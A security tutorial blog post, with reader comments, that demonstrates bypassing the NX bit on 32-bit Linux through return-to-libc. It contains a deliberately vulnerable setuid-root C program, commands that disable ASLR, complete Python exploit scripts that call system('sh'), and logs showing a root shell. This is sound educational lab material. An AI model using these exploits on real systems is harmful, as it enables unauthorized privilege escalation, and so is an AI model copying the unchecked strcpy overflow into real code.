Bypassing NX bit using return-to-libc

Prerequisite:

  1. Classic Stack Based Buffer Overflow

VM Setup: Ubuntu 12.04 (x86)

In previous posts, we saw that attacker

  • copies shellcode to stack and jumps to it!!

in order to successfully exploit vulnerable code. Hence to thwart attacker’s action, security researchers came up with an exploit mitigation called “NX Bit”!!

What is NX Bit?

Its an exploit mitigation technique which makes certain areas of memory non executable and makes an executable area, non writable. Example: Data, stack and heap segments are made non executable while text segment is made non writable.

With NX bit turned on, our classic approach to stack based buffer overflow will fail to exploit the vulnerability. Since in classic approach, shellcode was copied into the stack and return address was pointing to shellcode. But now since stack is no more executable, our exploit fails!! But this mitigation technique is not completely foolproof, hence in this post lets see how to bypass NX Bit!!

Vulnerable Code: This code is same as previous post vulnerable code with a slight modification. I will talk later about the need for modification.

 //vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256]; /* [1] */ 
 strcpy(buf,argv[1]); /* [2] */
 printf("%s\n",buf); /* [3] */
 fflush(stdout);  /* [4] */
 return 0;
}

Compilation Commands:

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

NOTE: “-z execstack” argument isnt passed to gcc and hence now the stack is Non eXecutable which can be verified as shown below:

$ readelf -l vuln
...
Program Headers:
 Type      Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
 PHDR      0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
 INTERP    0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
 [Requesting program interpreter: /lib/ld-linux.so.2]
 LOAD      0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
 LOAD      0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
 DYNAMIC   0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
 NOTE      0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
 ...
 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
 GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$

Stack segment contains only RW Flag and no E flag!!

How to bypass NX bit and achieve arbitrary code execution?

NX bit can be bypassed using an attack technique called “return-to-libc”. Here return address is overwritten with a particular libc function address (instead of stack address containing the shellcode). For example if an attacker wants to  spawn a shell, he overwrites return address with system() address and also sets up the appropriate arguments required by system() in the stack, for its successful invocation.

Having already disassembled and drawn the stack layout for vulnerable code, lets write an exploit code to bypass NX bit!!

Exploit Code:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. 
#For example system address = libc base address + system offset
#where 
       #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
       #system offset     = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")

system = 0xb7e61060        #0xb7e2000+0x0003f060
exit = 0xb7e54be0          #0xb7e2000+0x00032be0

#system_arg points to 'sh' substring of 'fflush' string. 
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. 
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d     #(obtained from hexdump output of the binary)

#endianess conversion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])

Executing above exploit program gives us root shell as shown below:

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K��}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Bingo we got the root shell!! But in real applications, its NOT that easy since root setuid programs would have adopted principle of least privilege.

What is principle of least privilege?

This technique allows root setuid program to obtain root privilege only when required. That is when required they gain root privilege and when NOT required they drop the obtained root privilege. Normal approach followed by root setuid programs is to drop root privileges before getting input from the user. Thus even when user input is malicious, attacker wont get a root shell. For example below vulnerable code wont allow the attacker to get a root shell.

Vulnerable Code:

//vuln_priv.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */ 
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

Above vulnerable code doesnt give root shell when we try to exploit it using below exploit code.

#exp_priv.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0xb7e61060
exit = 0xb7e54be0

system_arg = 0x804829d

#endianess conversion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln_priv", buf])

NOTE: exp_priv.py is slightly modified version of exp.py!! Just the system_arg variable is adjusted!!

$ python exp_priv.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$

Is this the end of tunnel? How to exploit root setuid programs which applies principle of least privilege?

For vulnerable code (vuln_priv), our exploit (exp_priv.py) was calling system followed by exit which found to be insufficent for obtaining root shell. But if our exploit code (exp_priv.py) was modified to call the following libc functions (in the listed order)

  • seteuid(0)
  • system(“sh”)
  • exit()

we would have obtained the root shell. This technique is called chaining of return-to-libc and its discussed here!!

17 thoughts on “Bypassing NX bit using return-to-libc

  1. There is difference between real address of system and calculated address which I add base to offset. The difference is always 0x00022000. that is interesting.

    Like

  2. Executing “cat /proc//maps” is invalid.. :/
    The way to find out glibc’s address you have to execute “ldd vuln” after compiling vuln.c.
    (Correct me if I’m wrong about this please :D)

    Like

  3. I wasn’t able to find Libc’s address and I used ldd but that didn’t seem to work.
    It might also be the readelf -s … part that didn’t work.
    Also, how did you find out the sh?
    was is by hexdump ./vuln and then found that in offset 0x27d “sh\x00” sits and then readelf -l ./vuln (to find 0x804… etc ?) ?
    Thank you (and also please correct me if im wrong)!

    Like

  4. Where to find #libc base address = how to cat the correct ?? /proc//maps

    Your tutorials are good, but you have audience without much experience in BoF, so would be better detailed walk throughs

    Like

  5. Hello! thank you very much for explaining everything so clearly!
    could you please tell me how to find address of “sh” from fflush ?

    Like

  6. I am getting this error when i try to run my python code

    Traceback (most recent call last):
    File “exp.py”, line 28, in
    buf += conv(system)
    File “exp.py”, line 26, in conv
    return struct.pack(“<I",numystem + exit + system_arg)
    NameError: global name 'numystem' is not defined

    Like

  7. you can run gdb ./elf_file
    and then:
    b main
    run
    info proc map

    It will show you the offsets on memory for libc and all the stuff, you get the libc base address, then you do on terminal:

    strings -c -t x /usr/lib/libc-2.26.so | grep “/bin/sh”

    it will retorn an offset, now you take the libc base address and add this offset to it and that’s it, you have the /bin/sh string address.

    Like

  8. def conv(num):
    return struct.pack(“<I",numystem + exit + system_arg
    buf = "A" * 268
    buf += conv(system)
    buf += conv(exit)
    buf += conv(system_arg)

    what does this part mean? it has a syntax error!!

    Like

    • There is some issue with the website. Please find the correct code below.

      1) exp.py

      #exp.py
      #!/usr/bin/env python
      import struct
      from subprocess import call

      #Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it.
      #For example system address = libc base address + system offset
      #where
      #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
      #system offset = 0x0003f060 (obtained from “readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system”)

      system = 0xb7e61060 #0xb7e2000+0x0003f060
      exit = 0xb7e54be0 #0xb7e2000+0x00032be0

      #system_arg points to ‘sh’ substring of ‘fflush’ string.
      #To spawn a shell, system argument should be ‘sh’ and hence this is the reason for adding line [4] in vuln.c.
      #But incase there is no ‘sh’ in vulnerable binary, we can take the other approach of pushing ‘sh’ string at the end of user input!!
      system_arg = 0x804827d #(obtained from hexdump output of the binary)

      #endianess conversion
      def conv(num):
      return struct.pack(“<I",num)

      # Junk + system + exit + system_arg
      buf = "A" * 268
      buf += conv(system)
      buf += conv(exit)
      buf += conv(system_arg)

      print "Calling vulnerable program"
      call(["./vuln", buf])

      Like

      • 2) esp_priv.py

        #exp_priv.py
        #!/usr/bin/env python
        import struct
        from subprocess import call

        system = 0xb7e61060
        exit = 0xb7e54be0

        system_arg = 0x804829d

        #endianess conversion
        def conv(num):
        return struct.pack(“<I",num)

        # Junk + system + exit + system_arg
        buf = "A" * 268
        buf += conv(system)
        buf += conv(exit)
        buf += conv(system_arg)

        print "Calling vulnerable program"
        call(["./vuln_priv", buf])

        Like

  9. Hi Sploitfun, There is some serious issues with the website, I wasted almost 4-5 days due to this glitch. Could you load the code simply or something of that kind. This will really help readers.

    Like

Leave a comment